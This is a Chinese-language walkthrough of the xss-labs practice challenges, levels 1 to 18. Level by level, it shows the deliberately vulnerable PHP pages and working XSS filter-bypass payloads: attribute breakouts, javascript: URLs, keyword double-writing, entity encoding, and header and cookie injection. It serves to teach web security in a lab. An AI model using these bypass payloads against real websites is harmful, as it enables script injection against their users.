Levle1
<!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不错!"); window.location.href="level2.php?keyword=test"; } </script> <title>欢迎来到level1</title> </head> <body> <h1 align=center>欢迎来到level1</h1> <?php ini_set("display_errors", 0); $str = $_GET["name"]; echo "<h2 align=center>欢迎用户".$str."</h2>"; ?> <center><img src=level1.png></center> <?php echo "<h3 align=center>payload的长度:".strlen($str)."</h3>"; ?> </body> </html>
在这个里面没有对输入的数据做任何的过滤,直接构造payload即可:
payload:name=<script>alert(1)</script> http://81.69.228.171:666/level1.php?name=<script>alert(1)</script>
Levle2
直接写入:<script>alert(1)</script>
,无法弹窗
<!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不错!"); window.location.href="level3.php?writing=wait"; } </script> <title>欢迎来到level2</title> </head> <body> <h1 align=center>欢迎来到level2</h1> <?php ini_set("display_errors", 0); $str = $_GET["keyword"]; echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form action=level2.php method=GET> <input name=keyword value="'.$str.'"> <input type=submit name=submit value="搜索"/> </form> </center>'; ?> <center><img src=level2.png></center> <?php echo "<h3 align=center>payload的长度:".strlen($str)."</h3>"; ?> </body> </html>
htmlspecialchars($str)
用法
htmlspecialchars() 函数把预定义的字符转换为 HTML 实体。
预定义的字符是:
& (和号)成为 &
" (双引号)成为 "
' (单引号)成为 '
< (小于)成为 <
> (大于)成为 >
例如:
<?php $str = "This is some <b>bold</b> text."; echo htmlspecialchars($str); ?>
查看网页源码,第一个位置被发现被实体编码,但是第二个位置或许可以弹窗
法1
当我们写入一个语句的时候,可以发现<img src=1 onerror=alert(1)>
被闭合掉了,因此在这里可以尝试先行闭合搜索框之后再弹出xss
- 正常的搜索
- 先闭合的搜索
直接弹出
法2
使用鼠标划过输入框,输入之后当鼠标移动到这个位置的时候,即可弹出
" onmouseover=alert(1)>
法3
或者使用鼠标点击搜索框
" onclick=alert(1)>
补充知识:js注释符
在js中一共有三种注释方式
- 多行注释
/* hacked by crow */
单行注释
//// hack by crow
<!-<!- hack by crow 这种注释容用混淆,因此一般不推荐使用
Level3
<!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不错!"); window.location.href="level4.php?keyword=try harder!"; } </script> <title>欢迎来到level3</title> </head> <body> <h1 align=center>欢迎来到level3</h1> <?php ini_set("display_errors", 0); $str = $_GET["keyword"]; echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center> <form action=level3.php method=GET> <input name=keyword value='".htmlspecialchars($str)."'> <input type=submit name=submit value=搜索 /> </form> </center>"; ?> <center><img src=level3.png></center> <?php echo "<h3 align=center>payload的长度:".strlen($str)."</h3>"; ?> </body> </html>
这里面上下都使用了htmlspecialchars()
函数,但是它未对单引号进行转义,因此可以使用单引号进行测试
<?php $str1 = "\""; $str2 = "& "; $str3 = " ' "; $str4 = " < "; $str5 = " > "; echo htmlspecialchars($str1); echo ' '; echo htmlspecialchars($str2); echo ' '; echo htmlspecialchars($str3); echo ' '; echo htmlspecialchars($str4); echo ' '; echo htmlspecialchars($str5); ?>
直接在输入框内输入
"><script>alert(1)</script><"
虽然发现闭合,但无法弹窗
发现双引号都被闭合掉了,这里使用单引号进行尝试,但是<>
均被转义,因此需要替换方法
这里有一个坑:如果没有鼠标右键查看网页源代码,可能你看网上的教程都看不懂,我在firefox上使用F12只能看到双引号,所以在这里我们可以使用单引号进行绕过,而且要避开<>
这符号
' onclick=alert(1)
当我们使用这个payload的时候,当点击的时候没有事件发生,可以分析下此时后面有一个单引号没有被闭合。
所以这里采用注释符进行绕过
法1
' onclick=alert(1) // hacked by crow
' onclick=alert(1) /* hacked by crow */
' onclick=alert(1) <!- hacked by crow
法2
' onmouseover=alert(1) // hacked by crow
' onmouseover=alert(1) /* hacked by crow */
' onmouseover=alert(1) <!- hacked by crow
当然,这里也可以将单引号闭合进行绕过:
payload1 ' onmouseover=alert(1) ' payload2 ' onclick= alert(1) '
补充知识
str_replace()函数
- str_replace() 函数以其他字符替换字符串中的一些字符(区分大小写)
- 该函数区分大小写
- str_ireplace() 函数执行不区分大小写的搜索。
Level4
首先看下代码
<!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不错!"); window.location.href="level5.php?keyword=find a way out!"; } </script> <title>欢迎来到level4</title> </head> <body> <h1 align=center>欢迎来到level4</h1> <?php ini_set("display_errors", 0); $str = $_GET["keyword"]; $str2=str_replace(">","",$str); $str3=str_replace("<","",$str2); echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form action=level4.php method=GET> <input name=keyword value="'.$str3.'"> <input type=submit name=submit value=搜索 /> </form> </center>'; ?> <center><img src=level4.png></center> <?php echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>"; ?> </body> </html>
从上述可以看出,将<
>
全部替换为空,而且使用了htmlspecialchars()
函数,因此在这里无法使用<>
符号,可以使用onclick事件先看下返回如何:
onclick=alert(1)
可以分析知道,可使用双引号将前面的value进行闭合,再注释掉后面的双引号,或者将其闭合均可,因此可构造payload如下:
法1
" onclick=alert(1) "
法2
" onclick=alert(1) // hacked by crow
法3
" onclick=alert(1) <!- hacked by crow
法4
" onclick=alert(1) /* hacked by crow */
法5
" onmouseover=alert(1) "
法6
" onmouseover=alert(1) // hacked by crow
法7
" onmouseover=alert(1) <!- hacked by crow
法8
" onmouseover=alert(1) /* hacked by crow */
补充知识
strtolower()函数
- 把所有字符转换为小写
Level5
首先看下源码
<!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不错!"); window.location.href="level6.php?keyword=break it out!"; } </script> <title>欢迎来到level5</title> </head> <body> <h1 align=center>欢迎来到level5</h1> <?php ini_set("display_errors", 0); $str = strtolower($_GET["keyword"]); $str2=str_replace("<script","<scr_ipt",$str); $str3=str_replace("on","o_n",$str2); echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form action=level5.php method=GET> <input name=keyword value="'.$str3.'"> <input type=submit name=submit value=搜索 /> </form> </center>'; ?> <center><img src=level5.png></center> <?php echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>"; ?> </body> </html>
代码首先将大小写统一为小写,然后直接过滤了<script
和on
关键词,这里无法再使用上述的方式,此处没有过滤尖括号,可以使用伪协议来进行构造:
a标签的一种写法
<a href="JavaScript:;"></a>
因此构造payload
" ><a href="javascript:alert(1)">
这里需要手动点击下才可以触发:
当然也可以选择直接触发:
"><iframe src=javascript:alert(1)>
Level6
<!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不错!"); window.location.href="level7.php?keyword=move up!"; } </script> <title>欢迎来到level6</title> </head> <body> <h1 align=center>欢迎来到level6</h1> <?php ini_set("display_errors", 0); $str = $_GET["keyword"]; $str2=str_replace("<script","<scr_ipt",$str); $str3=str_replace("on","o_n",$str2); $str4=str_replace("src","sr_c",$str3); $str5=str_replace("data","da_ta",$str4); $str6=str_replace("href","hr_ef",$str5); echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form action=level6.php method=GET> <input name=keyword value="'.$str6.'"> <input type=submit name=submit value=搜索 /> </form> </center>'; ?> <center><img src=level6.png></center> <?php echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>"; ?> </body> </html> 从源码中可以看出,能过滤的都过滤了,但是与第5关相比,没有对大小写进行限制,因此使用大小写绕过 " ><a hrEf="javascript:alert(1)">
同样的,也可以使用
"><iframe Src=javascript:alert(1)>
Level7
先看下代码
<!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不错!"); window.location.href="level8.php?keyword=nice try!"; } </script> <title>欢迎来到level7</title> </head> <body> <h1 align=center>欢迎来到level7</h1> <?php ini_set("display_errors", 0); $str =strtolower( $_GET["keyword"]); $str2=str_replace("script","",$str); $str3=str_replace("on","",$str2); $str4=str_replace("src","",$str3); $str5=str_replace("data","",$str4); $str6=str_replace("href","",$str5); echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form action=level7.php method=GET> <input name=keyword value="'.$str6.'"> <input type=submit name=submit value=搜索 /> </form> </center>'; ?> <center><img src=level7.png></center> <?php echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>"; ?> </body> </html>
查看代码得知,str_replac()
函数将常用的script
on
等全部替换为空,因此在这里可以尝试使用包裹关键词的方式进行绕过
" ><a hhrEfref="javascscriptript:alert(1)"> "><iframe Ssrcrc=javasscriptcript:alert(1)>
tips:包裹关键词
包裹关键词的时候并不是每一个单词都要进行双写,这里一定要保留一个完整的需要被替换的单词,详情可参照下图:
补充知识:HTML 字符实体
HTML 实体是一段以连字号(&
)开头、以分号(;
)结尾的文本(字符串)。
实体名称对大小写敏感。
HTML字符实体的出现主要是为了解决以下几个问题:
1. 解决HTML代码编写中的一些问题。例如需要在网页上显示小于号(<)和大于号(>),由于它们是HTML的预留标签,可能会被误解析为标签。这时就需要将小于号和大于号写成字符实体:
小于号这样写:< 或 <
大于号这样写:> 或 >
2. 键盘上无法打印的符号
3. 连续的空格
。。。。
Level8
先看下代码
<!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不错!"); window.location.href="level9.php?keyword=not bad!"; } </script> <title>欢迎来到level8</title> </head> <body> <h1 align=center>欢迎来到level8</h1> <?php ini_set("display_errors", 0); $str = strtolower($_GET["keyword"]); $str2=str_replace("script","scr_ipt",$str); $str3=str_replace("on","o_n",$str2); $str4=str_replace("src","sr_c",$str3); $str5=str_replace("data","da_ta",$str4); $str6=str_replace("href","hr_ef",$str5); $str7=str_replace('"','"',$str6); echo '<center> <form action=level8.php method=GET> <input name=keyword value="'.htmlspecialchars($str).'"> <input type=submit name=submit value=添加友情链接 /> </form> </center>'; ?> <?php echo '<center><BR><a href="'.$str7.'">友情链接</a></center>'; ?> <center><img src=level8.jpg></center> <?php echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>"; ?> </body> </html>
查看代码发现,输入的str先进行小写转换,然后再经过一系列关键字替换:
script
on
src
data
href
"
等均被替换,这里无法使用以上关键词和双引号进行绕过,在这个里面一共有两个输出点,第一个输出点采用了htmlspecialchar()实体化,第二个进行了7次过滤处理
首先尝试使用伪协议进行绕过,查看输出:
javascript:alert(1)
在这里发现确实被替换,因此在这里尝试使用html字符实体进行尝试绕过
在线转换网址:https://www.qqxiuzi.cn/bianma/zifushiti.php
payload1: javascript:alert(1)
javascript:alert(1)
当然还可以对script中的任意字母进行编码,比如对s进行编码,从而绕过限制:
payload2:javascript:alert(1)
也可以使用Tab键和回车键进行编码来绕过:
javascrip	t:alert(1) javascrip
t:alert(1)
详细信息可以参考:https://www.w3school.com.cn/tags/html_ref_entities.html
Level9
首先看下代码:
<!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不错!"); window.location.href="level10.php?keyword=well done!"; } </script> <title>欢迎来到level9</title> </head> <body> <h1 align=center>欢迎来到level9</h1> <?php ini_set("display_errors", 0); $str = strtolower($_GET["keyword"]); $str2=str_replace("script","scr_ipt",$str); $str3=str_replace("on","o_n",$str2); $str4=str_replace("src","sr_c",$str3); $str5=str_replace("data","da_ta",$str4); $str6=str_replace("href","hr_ef",$str5); $str7=str_replace('"','"',$str6); echo '<center> <form action=level9.php method=GET> <input name=keyword value="'.htmlspecialchars($str).'"> <input type=submit name=submit value=添加友情链接 /> </form> </center>'; ?> <?php if(false===strpos($str7,'http://')) { echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>'; } else { echo '<center><BR><a href="'.$str7.'">友情链接</a></center>'; } ?> <center><img src=level9.png></center> <?php echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>"; ?> </body> </html>
通过源代码可以知道,首先对输入的字符串进行过滤处理,在最后一步的时候判断是否存在http://
,如果不存在,则直接判定为非法操作,因此在这里可以通过注释符的方式添加进来进行绕过即可
当输入
javascrip	t:alert(1)
此时将上述的payload加上注释
javascrip	t:alert(1) // http://
当然也可以使用Level8中的payload进行测试,只需要在后面加上注释符和http://即可,在这里不再进行测试
Level10
首先看下源代码
<!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不错!"); window.location.href="level11.php?keyword=good job!"; } </script> <title>欢迎来到level10</title> </head> <body> <h1 align=center>欢迎来到level10</h1> <?php ini_set("display_errors", 0); $str = $_GET["keyword"]; $str11 = $_GET["t_sort"]; $str22=str_replace(">","",$str11); $str33=str_replace("<","",$str22); echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form id=search> <input name="t_link" value="'.'" type="hidden"> <input name="t_history" value="'.'" type="hidden"> <input name="t_sort" value="'.$str33.'" type="hidden"> </form> </center>'; ?> <center><img src=level10.png></center> <?php echo "<h3 align=center>payload的长度:".strlen($str)."</h3>"; ?> </body> </html>
通过源码可以发现,需要传入的有两个参数,一个是keyword,另外一个是t_sort。而且过滤了<>
,页面中还隐藏了三个元素,并且前两个将值替换为空,最后一个值也是过滤了尖括号之后的结果,因此首先尝试进行构造一个最基础的payload查看返回信息:
<script>alert(1)</script>
在这里看到t_sort的部分中尖括号确实被过滤了,尝试绕过
payload:
" type="password" onclick=alert(1) //
完整的payload:
keyword=hacked by crow&t_sort=" type="text" onclick=alert(1) //
其中//属于必须要的注释符,可以使用其他的注释符进行替换也可
当然还可以使用其他的方式来做,都是可以的
payload2:
keyword=hacked by crow&t_sort=" type="text" onmouseover=alert(1) //
当鼠标移到该位置的时候,就会触发
Level11
首先看下代码
<!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不错!"); window.location.href="level12.php?keyword=good job!"; } </script> <title>欢迎来到level11</title> </head> <body> <h1 align=center>欢迎来到level11</h1> <?php ini_set("display_errors", 0); $str = $_GET["keyword"]; $str00 = $_GET["t_sort"]; $str11=$_SERVER['HTTP_REFERER']; $str22=str_replace(">","",$str11); $str33=str_replace("<","",$str22); echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form id=search> <input name="t_link" value="'.'" type="hidden"> <input name="t_history" value="'.'" type="hidden"> <input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden"> <input name="t_ref" value="'.$str33.'" type="hidden"> </form> </center>'; ?> <center><img src=level11.png></center> <?php echo "<h3 align=center>payload的长度:".strlen($str)."</h3>"; ?> </body> </html>
从源代码可以看到,这里面对输入的keyword和t_sort进行了关键词过滤,但是对于$str11到$str33,过滤了尖括号,先随意输入数据查看下源代码:
keyword=hacked by crow & t_sort= <script>alert(1)</script>
在这里$str11接收的是HTTP_REFERER中的内容,因此在hackbar或burpsuite中定义下HTTP_REFERER中的内容:
在这里就可以看到,过滤了尖括号,这个就和上面的关卡比较像了,可以直接构造:
payload1: " type='text' onclick=alert(1) // payload2: " type='text' onmouseover=alert(1) // // tips:需要在referer中进行构造
Level12
查看下源代码
<!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不错!"); window.location.href="level13.php?keyword=good job!"; } </script> <title>欢迎来到level12</title> </head> <body> <h1 align=center>欢迎来到level12</h1> <?php ini_set("display_errors", 0); $str = $_GET["keyword"]; $str00 = $_GET["t_sort"]; $str11=$_SERVER['HTTP_USER_AGENT']; $str22=str_replace(">","",$str11); $str33=str_replace("<","",$str22); echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form id=search> <input name="t_link" value="'.'" type="hidden"> <input name="t_history" value="'.'" type="hidden"> <input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden"> <input name="t_ua" value="'.$str33.'" type="hidden"> </form> </center>'; ?> <center><img src=level12.png></center> <?php echo "<h3 align=center>payload的长度:".strlen($str)."</h3>"; ?> </body> </html>
通过源代码可知,与Level11很像,只不过是将HTTP_REFERER替换为HTTP_USER_AGENT,因此可以利用hackbar等工具直接替换即可:
payload1: " type='text' onclick=alert(1) // payload2: " type='text' onmouseover=alert(1) // // tips:需要在user-agent中进行构造
Level13
首先看下源代码
<!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不错!"); window.location.href="level14.php"; } </script> <title>欢迎来到level13</title> </head> <body> <h1 align=center>欢迎来到level13</h1> <?php setcookie("user", "call me maybe?", time()+3600); ini_set("display_errors", 0); $str = $_GET["keyword"]; $str00 = $_GET["t_sort"]; $str11=$_COOKIE["user"]; $str22=str_replace(">","",$str11); $str33=str_replace("<","",$str22); echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form id=search> <input name="t_link" value="'.'" type="hidden"> <input name="t_history" value="'.'" type="hidden"> <input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden"> <input name="t_cook" value="'.$str33.'" type="hidden"> </form> </center>'; ?> <center><img src=level13.png></center> <?php echo "<h3 align=center>payload的长度:".strlen($str)."</h3>"; ?> </body> </html> 其实和Level11-Level12一样,只不过这里需要指定cookie的值,因此可以如下构造: payload1: " type='text' onclick=alert(1) // payload2: " type='text' onmouseover=alert(1) // // tips:需要在cookies中进行构造
补充知识:Exif xss
什么是exif
可交换图像文件格式(英语:Exchangeable image file format,官方简称Exif),是专门为数码相机的照片设定的,可以记录数码照片的属性信息和拍摄数据。
在Windows下可以直接右键修改这些属性,有些网站可以读取exif信息,当传入一张含有恶意信息的图片的时候,就可以触发payload
Level14
首先看下代码
<html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <title>欢迎来到level14</title> </head> <body> <h1 align=center>欢迎来到level14</h1> <center><iframe name="leftframe" marginwidth=10 marginheight=10 src="http://www.exifviewer.org/" frameborder=no width="80%" scrolling="no" height=80%></iframe></center><center>这关成功后不会自动跳转。成功者<a href=/xsschallenge/level15.php?src=1.gif>点我进level15</a></center> </body> </html>
其实这关的意思就是跳转到一个能够读取exif信息的网站,但是这个网站存在eixf xss漏洞,因此可以直接触发xss,所以只要将src后面的网址进行替换到一个有这样漏洞的网站即可。
比如:http://www.exifdata.com/exif.php
Level15
首先看下源码
<html ng-app> <head> <meta charset="utf-8"> <script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.2.0/angular.min.js"></script> <script> window.alert = function() { confirm("完成的不错!"); window.location.href="level16.php?keyword=test"; } </script> <title>欢迎来到level15</title> </head> <h1 align=center>欢迎来到第15关,自己想个办法走出去吧!</h1> <p align=center><img src=level15.png></p> <?php ini_set("display_errors", 0); $str = $_GET["src"]; echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>'; ?>
安哥拉js
ng-include 指令用于包含外部的 HTML 文件。
包含的内容将作为指定元素的子节点。
ng-include
属性的值可以是一个表达式,返回一个文件名。
默认情况下,包含的文件需要包含在同一个域名下。
因此可以直接进行构造:
src='level1.php?name=<img src=1 onerror=alert(1)>'
Level16
首先看下源码
<!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不错!"); window.location.href="level17.php?arg01=a&arg02=b"; } </script> <title>欢迎来到level16</title> </head> <body> <h1 align=center>欢迎来到level16</h1> <?php ini_set("display_errors", 0); $str = strtolower($_GET["keyword"]); $str2=str_replace("script"," ",$str); $str3=str_replace(" "," ",$str2); $str4=str_replace("/"," ",$str3); $str5=str_replace(""," ",$str4); echo "<center>".$str5."</center>"; ?> <center><img src=level16.png></center> <?php echo "<h3 align=center>payload的长度:".strlen($str5)."</h3>"; ?> </body> </html>
从代码中可以看到,script
等均被替换为空格符号,但是这里没有过滤尖括号,因此可以想到使用尖括号进行绕过
<img src=1 onerror=alert(1)>
但是这里又存在一个问题,空格被替换为空格符号
这里面可以使用换行符%0a
来替换空格:
<img%0asrc=1%0aonerror=alert(1)>
当然,这里还可以使用其他的符号,比如回车符号%0d
等
<img%0dsrc=1 %0donerror=alert(1)>
Level17
<!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不错!"); } </script> <title>欢迎来到level17</title> </head> <body> <h1 align=center>欢迎来到level17</h1> <?php ini_set("display_errors", 0); echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>"; ?> <h2 align=center>成功后,<a href=level18.php?arg01=a&arg02=b>点我进入下一关</a></h2> </body> </html>
通过源代码和最基础的xss反弹代码发现,arg01和arg02的参数在处理之后进行了拼接
而htmlspecialchars()函数会将输入的数据变成html实体,过滤了尖口号和双引号,在这里可以尝试使用其他的进行绕过?
arg01
=
a
&
arg02
=
onmouseover
=
alert
(
1
)
在arg02参数后面有一个空格,不然就是将属性与之前的xsf01.swf?进行连接了
Level18
查看下源代码
<!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不错!"); window.location.href="level19.php?arg01=a&arg02=b"; } </script> <title>欢迎来到level18</title> </head> <body> <h1 align=center>欢迎来到level18</h1> <?php ini_set("display_errors", 0); echo "<embed src=xsf02.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>"; ?> </body> </html>
这一关和Level17代码基本相同,只不过换了一个图片而已,因此可以使用上一关的代码进行绕过
?arg01=a&arg02=onmouseover=alert(1)
Level19
Level20
主要是因为目前flash技术全面停止使用,因此在这里不再讲解这类技术(主要是不会)